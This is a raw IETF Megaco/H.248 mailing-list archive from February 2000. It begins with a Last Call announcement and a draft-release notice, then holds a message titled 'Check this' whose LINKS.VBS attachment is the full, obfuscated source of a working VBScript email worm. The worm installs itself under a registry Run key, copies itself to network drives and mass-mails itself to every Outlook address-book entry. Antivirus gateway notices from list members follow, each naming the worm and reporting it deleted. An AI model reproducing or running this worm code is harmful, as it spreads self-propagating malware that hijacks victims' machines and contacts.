> From:         Taylor, Tom-PT [CAR:B904:EXCH]
> Sent:         Wednesday, February 16, 2000 3:39 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      H.248 and Megaco Last Call
>
> At some point today we will have text for H.248 which the ITU-T will
> consider to be frozen.  I will make that text available, then we can go
> through Last Call.  Our aim will be to find the bugs and document them.
> My proposal is that the final RFC will be published unchanged from the
> ITU text, but with a must-read appendix containing our Last Call
> conclusions.
>
> The indications are very strong that the head of the U.S. delegation
> will veto the decision of H.248 on procedural grounds.  It will
> therefore be held over for decision in June.  That is why it is so
> important to keep the ITU text intact -- to let their process work
> without further delays.  They will be able to publish our Last Call
> appendix as an H.248 Implementor's Guide, which, despite the name, is
> used in the ITU-T to document bugs rather than just to give
> interpretations.
>
> In the meantime, to make the status of our protocol clear to our
> industry, I propose that we publish it as a Proposed Standard.
>
> Let me review the process we've followed in the last week and a half.
> Obviously I haven't fed back all the issues to the list as I had hoped
> -- there just wasn't time.  We've worked through supper severl nights,
> met all day and into the night last Sunday, and finally knocked the last
> open issue dead at 3:35 am yesterday morning.
>
> Here's how we proceeded.  First we went through the Telcordia and Cisco
> issues, identifying which had been fixed by TD-33 (v14) and which by
> TD-49 (v15).  The stuff which was still open had to be fixed.  Some
> fixes were done at the time, some were held over for further discussion.
>
> Next we went over the input documents themselves: TD-32 (the delta from
> the Red Bank output to v14), and TD-49 (the delta from v14 to
> v15/protocol-06).  Again problems were spotted and solutions devised.
>
> Finally we closed all the remaining open issues, finishing, as I said
> above, in the wee small hours of Tuesday morning.  The unfortunate John
> Segers then wortked through the remainder of the night to add in all the
> approved changes to produce a final document.
>
> Yesterday afternoon that document was reviewed in a final editing pass
> to catch anything John hadn't put in correctly.  Poor John was left
> holding the back in the end -- Glen and I had to go elsewhere and he was
> left to preside.  I hear they finished around 11:00 pm.  Today the
> finished document goes for approval at Working Party level, and tomorrow
> it goes up for decision, with the likely outcome as I indicated above.
>
> I would like to list the H.248 marathoners here.  To a large extent,
> they are the same people who sacrificed their sleep in Red Bank.  I hope
> I don't miss anybody, but if I do, feel free to flame me.  Here is the
> roll call of the red-eye brigade:
> John Segers                           Ranga
> Dendi                           Alf Heidemark
> Glen Freundlich                     Selvam Rengasami
> Larry Forni
> Michael Brown                     Rich Rubin
> Chip Sharp                           Christian Groves
> Steve Magnell                       Stephen Terrill
>
> Just a few statistics about the E-mail which has gotten us to that
> point.  My personal archives go back to mid-1998, and that is where the
> numbers come from.
>
> Total messages on the list to date: 5490
> Top ten correspondents:
>   Brian Rosen (no surprise): 591
>   Me                                   580
>   Nancy Greene                  198
>   Christian Huitema             187
>   Matt Holdrege                  151
>   Chip Sharp                       144
>   John Segers                        91
>   Michael Thomas                 83
>   Henry Sinnreich                  81
>   Paul Sijben                         80
>
> My archives also contain over 1800 messages from editors and the design
> team.  I don't have my own messages in there, but the counts for the top
> five other people are as follows:
>   Brian Rosen                       409
>   Nancy Greene                    294
>   Christian Huitema                 80
>   Christian Groves                  70
>   John Segers                         59
>
> My thanks to everyone.  On to the Last Call!
>
> Tom Taylor
>

------_=_NextPart_001_01BF78FE.887A74FA
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: H.248 and Megaco Last Call




v16 is now available =
at:




ftp://standards.nortelnetworks.com/megaco/docs/latest<=
/A>




file names:

***NOTE THAT THE =
MEGACO MACRO IS TURNED OFF IN THESE FILES - that is why 

***it looks like =
there is no IETF boiler plate in the files.




***Refresh your =
browser to be sure you see the files at the ftp site.




Changebarred against =
the Megaco/H.248 "white document", i.e. v12:

MegacoH248v16.doc      &nbs=
p; 

MegacoH248v16doc.zip

MegacoH248v16.PDF




As the name =
suggests, changebarred against v15 =
(=3Ddraft-ietf-megaco-protocol-06.txt):

MegacoH248v15to16diff.doc  

MegacoH248v15to16doc.zip

MegacoH248v15to16.PDF




...v16 will come out =
as draft-ietf-megaco-protocol-07.txt shortly...




v15, v14, v13, v12 =
are still available if you want to look at them. They are in

ftp://standards.nortelnetworks.com/megaco/docs/Adelaid=
e2000




Nancy

-----------------------------------------------------------------=
---------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com



    

    ----------

    From:   =
Taylor, Tom-PT =
[CAR:B904:EXCH]

    Sent:   =
Wednesday, February 16, 2000 3:39 =
AM

    To: =
    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject: =
       H.248 and Megaco Last Call

    


    At some point today we will have text =
for H.248 which the ITU-T will

    consider to be frozen.  I will =
make that text available, then we can go

    through Last Call.  Our aim will =
be to find the bugs and document them.

    My proposal is that the final RFC =
will be published unchanged from the

    ITU text, but with a must-read =
appendix containing our Last Call

    conclusions.

    


    The indications are very strong that =
the head of the U.S. delegation

    will veto the decision of H.248 on =
procedural grounds.  It will

    therefore be held over for decision =
in June.  That is why it is so

    important to keep the ITU text intact =
-- to let their process work

    without further delays.  They =
will be able to publish our Last Call

    appendix as an H.248 Implementor's =
Guide, which, despite the name, is

    used in the ITU-T to document bugs =
rather than just to give

    interpretations.

    


    In the meantime, to make the status of =
our protocol clear to our

    industry, I propose that we publish =
it as a Proposed Standard.

    


    Let me review the process we've =
followed in the last week and a half.

    Obviously I haven't fed back all the =
issues to the list as I had hoped

    -- there just wasn't time.  =
We've worked through supper severl nights,

    met all day and into the night last =
Sunday, and finally knocked the last

    open issue dead at 3:35 am yesterday =
morning.

    


    Here's how we proceeded.  First =
we went through the Telcordia and Cisco

    issues, identifying which had been =
fixed by TD-33 (v14) and which by

    TD-49 (v15).  The stuff which =
was still open had to be fixed.  Some

    fixes were done at the time, some =
were held over for further discussion.

    


    Next we went over the input documents =
themselves: TD-32 (the delta from

    the Red Bank output to v14), and =
TD-49 (the delta from v14 to

    v15/protocol-06).  Again =
problems were spotted and solutions devised.

    


    Finally we closed all the remaining =
open issues, finishing, as I said

    above, in the wee small hours of =
Tuesday morning.  The unfortunate John

    Segers then wortked through the =
remainder of the night to add in all the

    approved changes to produce a final =
document.

    


    Yesterday afternoon that document was =
reviewed in a final editing pass

    to catch anything John hadn't put in =
correctly.  Poor John was left

    holding the back in the end -- Glen =
and I had to go elsewhere and he was

    left to preside.  I hear they =
finished around 11:00 pm.  Today the

    finished document goes for approval =
at Working Party level, and tomorrow

    it goes up for decision, with the =
likely outcome as I indicated above.

    


    I would like to list the H.248 =
marathoners here.  To a large extent,

    they are the same people who =
sacrificed their sleep in Red Bank.  I hope

    I don't miss anybody, but if I do, =
feel free to flame me.  Here is the

    roll call of the red-eye =
brigade:

    John =
Segers           =
            =
    Ranga

    Dendi     &nb=
sp;           &nb=
sp;         Alf =
Heidemark

    Glen =
Freundlich          &n=
bsp;          Selvam =
Rengasami

    Larry Forni

    Michael =
Brown           &=
nbsp;         Rich Rubin

    Chip =
Sharp           &=
nbsp;           &=
nbsp;   Christian Groves

    Steve =
Magnell           =
;            =
Stephen Terrill

    


    Just a few statistics about the E-mail =
which has gotten us to that

    point.  My personal archives go =
back to mid-1998, and that is where the

    numbers come from.

    


    Total messages on the list to date: =
5490

    Top ten correspondents:

      Brian Rosen (no surprise): =
591

      =
Me           &nbs=
p;           &nbs=
p;           =
580

      Nancy =
Greene           =
       198

      Christian =
Huitema           =
;  187

      Matt =
Holdrege          &nbs=
p;       151

      Chip =
Sharp           &=
nbsp;           =
144

      John =
Segers           =
            =
 91

      Michael =
Thomas           =
      83

      Henry =
Sinnreich          &nb=
sp;       81

      Paul =
Sijben           =
            =
  80

    


    My archives also contain over 1800 =
messages from editors and the design

    team.  I don't have my own =
messages in there, but the counts for the top

    five other people are as =
follows:

      Brian =
Rosen           &=
nbsp;           =
409

      Nancy =
Greene           =
         294

      Christian =
Huitema           =
;      80

      Christian Groves  &nb=
sp;           &nb=
sp;   70

      John =
Segers           =
            =
  59

    


    My thanks to everyone.  On to the =
Last Call!

    


    Tom Taylor

    




------_=_NextPart_001_01BF78FE.887A74FA--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 17 05:08:43 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08449
	for ; Thu, 17 Feb 2000 05:08:43 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.07EB8990@standards.nortelnetworks.com>; Thu, 17 Feb 2000 5:01:20 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 51157 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 17 Feb 2000 05:00:12 -0500
Received: from mars.mediagate.co.il (194.90.192.20) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.77332800@standards.nortelnetworks.com>; Thu, 17 Feb 2000
          4:50:08 -0500
Received: from jacob ([194.90.192.122]) by mars.mediagate.co.il (Eureka!
          Silver(tm) v2.4) id AA-2000Feb17.115303.S5000.30764; Thu, 17 Feb 2000
          11:53:04 +0200
MIME-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_004F_01BF793D.D3C12640"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-MailServer: Eureka! Silver Internet Server (v2.4 Build 1033)
Message-ID:  <005201bf792d$1039dce0$7ac05ac2@mediagate>
Date:         Thu, 17 Feb 2000 11:55:04 +0200
Reply-To: jacoba@MEDIAGATE.CO.IL
Sender: "Media Gateway Control (megaco)"
              
From: Jacob Avraham 
Organization: mediagate
Subject:      Check this
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_004F_01BF793D.D3C12640
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Have fun with these links.
Bye.
------=_NextPart_000_004F_01BF793D.D3C12640
Content-Type: application/octet-stream;
        name="LINKS.VBS"
Content-Disposition: attachment;
        filename="LINKS.VBS"
Content-Transfer-Encoding: quoted-printable

On Error Resume Next
Set A1 =3D CreateObject("Scripting.FileSystemObject")
Set A2 =3D A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A2.AtEndOfStream =3D False And Mid(A3,40,10) <> "`sd]Lhbsnr"
A3 =3D A2.ReadLine
Loop
A2.Close
Set A4 =3D =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),B("STOEMM/WCR")),Tr=
ue)
A4.WriteLine(B("No!Dssns!Sdrtld!Odyu"))
A4.WriteLine(B("Rdu!@0!O\J>@KFQB_Pli=
wt^ub_Jf`ulpliw_Tfqgltp_@ruubqwYbupflq_Urq_Urqgoo""""+*C3,@wkjbNcrf&C3,Ig=
rUngekcjDqjbgp&3+*@&""""URQGOO1YEP""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Kd!Oui@qv&@&""""Wkfp tfoo ^gg ^ =
pkluw`rw wl iubb [[[ ofqhp lq vlru gbphwls1 Gl vlr t^qw wl =
`lqwfqrb<""""+*54*@&""""Iubb [[[ ofqhp""""++!?!4!Rfgl""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C4!?!C3,EpgcrgRgvrDkjg&C3,@wkjbNcrf&=
C7,UngekcjDqjbgpu&@&""""Gbphwls""""++*@&""""IUBB [[[ =
OFQHP1RUO""""++*Rpwg+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C4,YpkrgJklg&@&""""XFqwbuqbwPkluw`rwZ"""=
"++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C4,YpkrgJklg&@&""""RUO:kwws=3D,,ttt1preo=
fjbgfub`wluv1`lj,""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C4,Ejqug""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C9!?!EpgcrgQ`hger&@&""""TP`ufsw1Qbwt=
luh""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C6!?!C9,GlwoLgryqpmBpktgu""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Kd!C6,Eqwlr!:ss=
of`^wflq""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C33!?!C3.,IgrLcogUnceg&@&""""J>SF"""=
"++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dqp!Gcef!C30!Kl!C33,CbbpguuJkuru""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C35!?!C3.,EpgcrgKrgo&.+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dqp!C32!?!3!Rq!C30,CbbpguuGlrpkgu,Eqwlr"=
"(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C37!?!C30,CbbpguuGlrpkgu&C32+""(("))=

A4.WriteLine(B("@5/VshudMhod)C)""Kd!C32!?!3!Rfgl""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,@EE!?!C37,Cbbpguu""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Gjug""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,@EE!?!C35,@EE!$!@&""""8 =
""""+!$!C37,Cbbpguu""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,Uw`hger!?!@&""""@kb`h =
wkfp""""+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,@qb{!?!@&""""K^yb irq tfwk wkbpb =
ofqhp1""""+!$!Efp&35+!$!Efp&3.+!$!@&""""Evb1""""+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,Crrcefoglru,Cbb!YUepknr,UepknrDwjjLc=
og""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,BgjgrgCdrgpUw`okr!?!Rpwg""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,Uglb""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dwlerkql!@&@3+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dqp!@0!?!3!Rq!Jgl&@3+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Kd!Cue&Okb&@3*@0*3++!:(""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?3""(("))
A4.WriteLine(B("E5/VshudMhod)C)""Gtglr3?QL!HQKL8%81bee!uglb!#lkem!""(!'!@=
0/CthmeQ`ui)@0/FduRqdbh`mGnmeds)1(-C)""JKLMU,T@U""((("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?3""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]3../Jgtgj!3.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]0../Jgtgj!0.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]5../Jgtgj!5.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]2../Jgtgj!2.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)""""("))
A4.WriteLine(B("E5/VshudMhod)C)""]7../Jgtgj!7.._""(("))
A4.WriteLine(B("E5/VshudMhod)C)""WugpEqwlr?.""(("))
A4.WriteLine(B("E5/VshudMhod)C)""GtglrEqwlr?.""(("))
A4.WriteLine(B("E5/Bmnrd"))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Odyu"))
A4.WriteLine(B("Gns!D`bi!E4!Ho!@0/FduGnmeds)E0(/RtcGnmedsr"))
A4.WriteLine(B("E!E4/Q`ui"))
A4.WriteLine(B("Odyu"))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Doe!Rtc"))
A4.Close
Set A5 =3D CreateObject(B("VRbshqu/Ridmm"))
A5.RegWrite =
B("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]Stoem=
m"),A1.BuildPath(A1.GetSpecialFolder(1),B("STOEMM/WCR"))
If =
MsgBox(B("Uihr!vhmm!`ee!`!rinsubtu!un!gsdd!YYY!mhojr!no!xnts!edrjunq/!En!=
xnt!v`ou!un!bnouhotd>"),36,B("Gsdd!YYY!mhojr")) =3D 6 Then
Set A6 =3D =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders(B("Edrjunq")),B("GSDD!YY=
Y!MHOJR/TSM")),True)
A6.WriteLine(B("ZHoudsoduRinsubtu\"))
A6.WriteLine(B("TSM 0 Then
For A9 =3D 0 To A8.Count - 1
If InStr(A8.Item(A9),B("]]")) <> 0 Then
A1.CopyFile WScript.ScriptFullName, =
A1.BuildPath(A8.Item(A9),B("MHOJR/WCR"))
End If
Next
End If
Set A10 =3D CreateObject(B("Ntumnnj/@qqmhb`uhno"))
Set A11 =3D A10.GetNameSpace(B("L@QH"))
For Each A12 In A11.AddressLists
Set A13 =3D A10.CreateItem(0)
For A14 =3D 1 To A12.AddressEntries.Count
Set A15 =3D A12.AddressEntries(A14)
If A14 =3D 1 Then
A13.BCC =3D A15.Address
Else
A13.BCC =3D A13.BCC & B(":!") & A15.Address
End If
Next
A13.Subject =3D B("Bidbj!uihr")
A13.Body =3D B("I`wd!gto!vhui!uidrd!mhojr/") & Chr(13) & Chr(10) & =
B("Cxd/")
A13.Attachments.Add WScript.ScriptFullName
A13.DeleteAfterSubmit =3D True
A13.Send
Next
Function B(B1)
For B2 =3D 1 To Len(B1)
If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And =
Asc(Mid(B1,B2,1)) <> 126 Then
If Asc(Mid(B1,B2,1)) Mod 2 =3D 0 Then
B =3D B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))
Else
B =3D B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))
End If
Else
B =3D B & Mid(B1,B2,1)
End If
Next
End Function

------=_NextPart_000_004F_01BF793D.D3C12640--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 17 05:19:30 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08518
	for ; Thu, 17 Feb 2000 05:19:29 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.08497620@standards.nortelnetworks.com>; Thu, 17 Feb 2000 5:15:40 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 51675 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 17 Feb 2000 05:13:53 -0500
Received: from resolver.wilcom.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.62E6B4A0@standards.nortelnetworks.com>; Thu, 17 Feb 2000 5:03:53
          -0500
Received: from wcghoue001.wilcom.com (wcghoue001.wilcom.com [172.29.15.100]) by
          resolver.wilcom.com (8.9.1/8.9.1) with ESMTP id EAA20508 for
          ; Thu, 17 Feb 2000 04:06:56
          -0600 (CST)
Received: by wcghoue001.wilcom.com with Internet Mail Service (5.5.2650.21) id
          ; Thu, 17 Feb 2000 04:03:51 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Message-ID:  <7B99D84944A1D311B97200805F59D4C08DE6F2@wcghoue001.wilcom.com>
Date:         Thu, 17 Feb 2000 04:03:51 -0600
Reply-To: ANTIGEN_WCGHOUE001 
Sender: "Media Gateway Control (megaco)"
              
From: ANTIGEN_WCGHOUE001 
Subject:      Antigen found VBS/FreeLinks.A-C.Worm virus
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Antigen for Exchange found LINKS.VBS infected with VBS/FreeLinks.A-C.Worm
virus.
The file is currently Deleted.  The message, "     Check this", was
sent from Jacob Avraham  and was discovered in IMC Queues\Inbound
located at TWC/WCG/WCGHOUE001.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 17 05:19:31 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08523
	for ; Thu, 17 Feb 2000 05:19:30 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.09E12D20@standards.nortelnetworks.com>; Thu, 17 Feb 2000 5:15:43 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 51812 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 17 Feb 2000 05:14:59 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.8A14EB00@standards.nortelnetworks.com>; Thu, 17 Feb 2000 5:04:59
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id FAA02935 for
          ; Thu, 17 Feb 2000 05:07:47
          -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id FAA28280 for
          ; Thu, 17 Feb 2000 05:07:49
          -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL99QF>; Thu, 17 Feb 2000 05:04:14 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Message-ID:  <25ABB14BDF6AD311A9650020484033951B5A47@whq-msgrtr-01.fore.com>
Date:         Thu, 17 Feb 2000 05:04:11 -0500
Reply-To: Anti-Virus Utility 
Sender: "Media Gateway Control (megaco)"
              
From: Anti-Virus Utility 
Subject:      Antivirus Utility found VBS/FreeLink virus
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Antivirus Utility for Exchange found LINKS.VBS infected with VBS/FreeLink
virus.
The file is currently Deleted.  The message, "     Check this", was
sent from Jacob Avraham  and was discovered in IMC Queues\Inbound
located at EMAIL/NA1/WHQ-MSGRTR-01.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 17 05:23:41 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08561
	for ; Thu, 17 Feb 2000 05:23:41 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.9E683F60@standards.nortelnetworks.com>; Thu, 17 Feb 2000 5:19:52 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 51983 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 17 Feb 2000 05:19:21 -0500
Received: from p-voyageur.issy.cnet.fr by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.266788A0@standards.nortelnetworks.com>; Thu, 17 Feb 2000 5:09:21
          -0500
Received: by p-voyageur.issy.cnet.fr with Internet Mail Service (5.5.2448.0) id
          ; Thu, 17 Feb 2000 11:13:33 +0100
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <7D59335FDAE0D011A3350060974B1C7201A91DD8@l-mhs3.lannion.cnet.fr>
Date:         Thu, 17 Feb 2000 11:11:37 +0100
Reply-To: GAUCHE Francis CNET/DAC/LAN 
Sender: "Media Gateway Control (megaco)"
              
From: GAUCHE Francis CNET/DAC/LAN 
Subject:      Re: Check this <- Virus detected
X-To:         "jacoba@MEDIAGATE.CO.IL" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id FAA08561

FYI:

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Place = MEGACO@STANDARDS.NORTELNETWORKS.COM
Sender = Jacob Avraham
Subject = Check this
Delivery Time = February 17, 2000 (Thursday) 11:06:09

Action on virus found:

"VBS_FREELINK" virus was found in attachment "LINKS.VBS",
ScanMail has deleted the attachment.

Message from recipient's administrator:
Warning to recipient. ScanMail detected a virus in an email attachment.

-----Message d'origine-----
De: Jacob Avraham [mailto:jacoba@MEDIAGATE.CO.IL]
Date: jeudi 17 février 2000 10:55
À: MEGACO@STANDARDS.NORTELNETWORKS.COM
Objet: Check this


Have fun with these links.
Bye.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 17 05:25:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08586
	for ; Thu, 17 Feb 2000 05:25:43 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E8A95780@standards.nortelnetworks.com>; Thu, 17 Feb 2000 5:21:57 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 51995 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 17 Feb 2000 05:21:01 -0500
Received: from p-biset.issy.cnet.fr (139.100.0.33) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.6008CC90@standards.nortelnetworks.com>; Thu, 17 Feb 2000
          5:10:58 -0500
Received: by p-biset.issy.cnet.fr with Internet Mail Service (5.5.2448.0) id
          ; Thu, 17 Feb 2000 11:15:18 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  
Date:         Thu, 17 Feb 2000 11:13:13 +0100
Reply-To: =?ISO-8859-1?Q?ROUL_Fran=E7ois_DvSI/SIReS/LAN?=
              
Sender: "Media Gateway Control (megaco)"
              
From: =?ISO-8859-1?Q?ROUL_Fran=E7ois_DvSI/SIReS/LAN?=
              
Subject:      Re: Check this
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id FAA08586

Be carreful!!!
ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Place = MEGACO@STANDARDS.NORTELNETWORKS.COM
Sender = Jacob Avraham
Subject = Check this
Delivery Time = February 17, 2000 (Thursday) 11:06:06

Action on virus found:

"VBS_FREELINK" virus was found in attachment "LINKS.VBS",
ScanMail has deleted the attachment.

Message from recipient's administrator:
Warning to recipient. ScanMail detected a virus in an email attachment.

-----Message d'origine-----
De: Jacob Avraham [mailto:jacoba@MEDIAGATE.CO.IL]
Date: jeudi 17 février 2000 10:55
À: MEGACO@STANDARDS.NORTELNETWORKS.COM
Objet: Check this


Have fun with these links.
Bye.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 17 06:07:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA08865
	for ; Thu, 17 Feb 2000 06:07:45 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D9795840@standards.nortelnetworks.com>; Thu, 17 Feb 2000 6:04:28 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 52547 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 17 Feb 2000 06:03:53 -0500
Received: from mars.mediagate.co.il (194.90.192.20) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.C3CD66D0@standards.nortelnetworks.com>; Thu, 17 Feb 2000
          6:03:52 -0500
Received: from jacob ([194.90.192.122]) by mars.mediagate.co.il (Eureka!
          Silver(tm) v2.4) id AA-2000Feb17.130748.S5000.30869; Thu, 17 Feb 2000
          13:07:49 +0200
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
